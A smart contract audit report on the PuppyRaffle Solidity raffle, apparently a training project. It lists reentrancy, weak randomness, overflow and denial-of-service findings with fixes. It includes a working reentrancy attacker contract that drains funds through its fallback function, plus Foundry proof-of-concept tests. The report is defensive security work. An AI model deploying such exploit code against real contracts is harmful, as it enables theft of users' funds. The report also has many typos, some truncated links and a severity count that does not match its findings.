PuppyRaffle Audit Report

Version 1.0

March 22, 2025

PuppyRaffle Audit Report

Rahber Ahmed

March 22,2025

Prepared by: [Rahber Ahmed]

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Rahbar Ahmed team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary I have audited and found some bugs in this protocol which have been submitted here. ## Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows attacker to drain the funds.

Description: The function `PuppyRaffle::refund` does not follow CEI (checks,effects and interactions) This function makes external call and only after making this call it updates players array.

```
    function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);


    }

The player who has entered the raffle (Through smart contract) can have
     `fallback/receive` function which can again call back refund
    function claiming funds again till the entire fund of `PuppuRaffle`
    has been drained.
```

Imapct: All the fund of `PuppyRaffle` can be withdrawn maliciuosly by an attacker.

Proof of concept: 1. Users enter the raffle 2. Attacker sets up a smart contract with `fallback`/`receive` functions. 3. Attcker enters the raffle 4. Attcker calls `PuppyRaffle::refund` function through it's `attack` function.

Proof of Code:

Code

```


    function test_ReentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 attackerContractStartingBalance = address(
            attackerContract).balance;
        uint256 contractStartingBalance = address(puppyRaffle).balance;
```

```
18
19          vm.prank(attackUser);
20          attackerContract.attack{value: entranceFee}();
21
22          uint256 attackerContractEndingBalance = address(
                attackerContract).balance;
23          uint256 contractEndingBalance = address(puppyRaffle).balance;
24
25          console.log("Attacker Contract starting balance: ",
                attackerContractStartingBalance);
26          console.log(" Contract starting  balance: ",
                contractStartingBalance);
27
28          console.log("Attacker Contract ending balance: ",
                attackerContractEndingBalance);
29          console.log("Contract ending balance: ", contractEndingBalance)
                ;
30      }
31  }
32
33  //now we need to deploy attacker's contract
34
35  contract ReentrancyAttacker {
36      PuppyRaffle puppyRaffle;
37      uint256 entranceFee;
38      uint256 attackerIndex;
39
40      constructor(PuppyRaffle _puppyRaffle) {
41          puppyRaffle = _puppyRaffle;
42          entranceFee = puppyRaffle.entranceFee();
43      }
44
45      function attack() public payable {
46          address[] memory players = new address[](1);
47          players[0] = address(this);
48          puppyRaffle.enterRaffle{value: entranceFee}(players);
49          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
50          puppyRaffle.refund(attackerIndex);
51      }
52
53      function _stealMoney() internal {
54          if (address(puppyRaffle).balance >= entranceFee) {
55              puppyRaffle.refund(attackerIndex);
56          }
57      }
58
59      fallback() external payable {
60          _stealMoney();
61      }
62
```

```
63      receive() external payable {
64          _stealMoney();
65      }
66  }
```

Recomended Mitigation: We must update `players` array before making any external call.Additionally we must move up even that is being emitted.

```
1  function refund(uint256 playerIndex) public {
2
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7
8  +       players[playerIndex] = address(0);
9  +       emit RaffleRefunded(playerAddress);
10
11         payable(msg.sender).sendValue(entranceFee);
12
13 -       players[playerIndex] = address(0);
14 -       emit RaffleRefunded(playerAddress);
15 }
```

[H-2] Weak randomness in 'PuppyRaffle::selectWinner' function which casues user to influence or predict the winner in advance and win the rarest puppy.

Description: Weak randomness in 'PuppyRaffle::selectWinner' function hashes `msg.sender`,`block.timestamp`,`block.difficulty` to get the random number.However all above mentioned inputs to get the final random number are guessable making the random number predictable,any random number which is predictable is not a good random number.

```
1          uint256 winnerIndex =
2  @>          uint256(keccak256(abi.encodePacked(msg.sender, block.
       timestamp, block.difficulty))) % players.length;
```

Impact: The user can predict the winning number in advance so user can position himself/herself to win the raffle also if he knows he is not going to win then can front run to withdraw from the raffle.

Proof of Concept: 1. Validators can know in adavnce the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.See solidity blog [https://soliditydeveloper.com/prevran `block.difficulty` was recently replaced by `prevrandao`. 2. Users can mine/manuplate their `msg.sender` to make their address being used to generate winner. 3. Users can revert the `PuppyRaffle::selectWinner` if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector [https://medium.com/better-programming/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf#:~:text=A%20reques

Recommended Mitigation: Consider using cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow in `totalFees` causing `feeAddress` to collect wrong amount.

***Description:** `totalFees` is an integer of type uint64 which can overflow.This problem was there before solc version 0.8.0

```
uint64 myUint64=type(uint64).max  =>18446744073709551615(decimal)
so the naximum number uint64 integer type can have is
    18446744073709551615 in decimal form
now let's give it number bigger than this and  see what happens
now myUint64 + 1=0(overflown).
```

Imapct: `feeAddress` will collect wrong fees and when we will `PuppyRaffle::withdrawFees` the function will give us the wrong amount,due to this we can loose the fees collected.

Proof of Concept: 1. We conclude raffle of 4 players 2. We have then 89 players enter our raffle,ww conclude this too. 3. Now totalFees is

```
 totalFees = totalFees + uint64(fee);
 //aka
 totalFees=18000000000000000000 + 17800000000000000000 this is going to
    overflow
 totalFees=153255926290448384 overflow
```

4. You will not be able to withdraw fees because of `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfDestruct` to send ETH to this contract in order to match the require condition but clearly this is not the intended function of the protocol.

Proof of Code:

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
```

```
7           // startingTotalFees = 800000000000000000
8
9           // We then have 89 players enter a new raffle
10          uint256 playersNum = 89;
11          address[] memory players = new address[](playersNum);
12          for (uint256 i = 0; i < playersNum; i++) {
13              players[i] = address(i);
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: 1. Consider using uint256 for `totalFees`. 2. Use newer version of solidity. 3. Use safeMath library of openzeppelin 4. remove the balance check require condition from `PuppyRaffle::withdrawFees`

```
1 -   uint64 public totalFees=0;
2 +   uint256 public totalFees=0;
3 -   totalFees = totalFees + uint64(fee);
4 +   totalFees = totalFees + uint256(fee);
```

Medium

[M-1] Looping through the players array in `PuppyRaffle::enterRaffle` is a potential Denial of service attack,increasing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` loops through the array `players` to check duplicates ,if array is big then it makes later entrants pay more gas fees than those who entered early.

```
1       //@audit DoS attack
2   @>  for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle:Duplicat
                    player");
5           }
6       }
```

Imapct: This will make players rush to enter the raffle in the very start as it costs less gas to enter.Discouraging later players to enter.

`Attacker` might make `raffle array` so big that other players may not enter making him the guaranteed win.

Proof Of Concept: The gas cost for first 100 players to enter is ~6521337 The gas cost for second 100 players to enter is ~18995520 as it is significantly greater than that of first 100 players

PoC

```
1   function test_DenialOfService() public {
2
3
4           uint256 numOfPlayers=100;
5
6           //let's calculate gasFees for first 100 players
7           vm.txGasPrice(1);
8           uint256 startGas=gasleft();
9           console.log("startGas: ",startGas);
10          address[] memory players=new address[](numOfPlayers);
11          for(uint256 i=0;i<numOfPlayers;i++){
12              players[i]=address(i);
13          }
14          puppyRaffle.enterRaffle{value: players.length * entranceFee}(
                players);
15          uint256 endGas=gasleft();
16          console.log("endGas: ",endGas);
17          uint256 gasUsedForFirstHundred=(startGas-endGas) * tx.gasprice;
18          console.log("Gas for first 100 players is: ",
                gasUsedForFirstHundred);
19
20          //let's calculate gasFees for second 100 players
21
22          address[] memory playersTwo=new address[](numOfPlayers);
23          for(uint256 i=0;i<numOfPlayers;i++){
24              playersTwo[i]=address(i+numOfPlayers);
25          }
26          uint256 startGasSecondHundred=gasleft();
27          puppyRaffle.enterRaffle{value: playersTwo.length * entranceFee
                }(playersTwo);
28          uint256 endGasSecondHundred=gasleft();
```

```
29
30          uint256 gasUsedForSecondHundred=(startGasSecondHundred-
                endGasSecondHundred) * tx.gasprice;
31          console.log("gas used for second 100 :",gasUsedForSecondHundred
                );
32
33          assert(gasUsedForFirstHundred<gasUsedForSecondHundred);
34
35
36      }
```

Recommended Mitigation: 1. Consider using mapping for checking duplicates. 2. Allow duplicates because anyone who wants to enter multiple times can make multiple wallets and use them to enter.

[M-2] Smart contract winners without `fallback` or `receive` functions will block the start of new contest.

Description: `PuppyRaffle::selectWinner` is responsible for resetting the raffle,However if the winner is smart contract without `falback` or `receive` function it will block the resetting of contest and lottery would not start.

Users can call `selectWinner` function again and non-wallet could enter but that could make it less gas efficient due to duplicates check array.

Impact: `PuppyRaffle:SelectWinner` function could revert many times and selecting winner can be very challenging and gas inefficient.

Proof Of Concept: 1. 10 smart contract players enter the raffle 2. Lottery ends 3. The `selectWinner` function would'nt work even though lottery has finished.

Recommended Mitigation: 1. Make winners to claim their funds instead of making external call to the winner address. 2. Make mapping(address => payouts) so that winners can pull their fund.

Low

[L-1] `PuppyRaffle::getActiveIndexPlayerIndex` the function returns 0 for existent and non-existent players causing player at index 0 to think that he has not entered the raffle.

Description: The function `PuppyRaffle::getActiveIndexPlayerIndex` returns 0 for both players who are in the raffle and who are not in the raffle causing player at index 0 to think that he/she has not entered the raffle.

```
1   function getActivePlayerIndex(address player) external view returns (
        uint256) {
```

```
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7   @>        return 0;
8       }
```

Impact: Player may think that he/she has not entered the raffle and may try again to enter wasting gas.

Proof of Concept: 1. Player enters the raffle and he/she is the first entrant. 2. `PuppyRaffle::getActiveIndexPlayerIndex` returns 0. 3. Player now thinks he has not entered the raffle dur to function documentation.

Recommmended Mitigation: First method would be to revert if player is not in the raffle or return `int256` where it return -1 if player is not active.

Gas

[G-1] Unchanged storage variables should be declared constant or immutable.

As reading from storage is much more expensive than reading from constant or immutable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached.

Reading from storage as opposed to memory is less gas efficient. Replace `players.length` with the following `playersLength`

```
1   +       uint256 playersLength=players.length;
2   -       for (uint256 i = 0; i < players.length - 1; i++) {
3   -           for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5               }
6           }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 171

```
1         feeAddress = newFeeAddress;
```

[I-3]: `PuppyRaffle::selectWinner` does not follow the CEI (checks,effects,interactions).

it's best practice to keep code clean. follow CEI.

```
1
2 -         (bool success,) = winner.call{value: prizePool}("");
3 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
4           _safeMint(winner, tokenId);
5 +         (bool success,) = winner.call{value: prizePool}("");
6 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-4]: Use of magic numbers is discouraged.

seeing magic number literals is confusing and it's much more readable if numbers are given name

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

instead use this

```
    uint256 constant PRIZE_POOL_PERCENTAGE=80;
    uint256 constant FEE_PERCENTAGE=20;
    uint256 constant POOL_PRECISION=100;
```

[I-5] State changes are missing events

[I-6] `PuppyRaffle::_isActivePlayer` is never used and hence should be removed.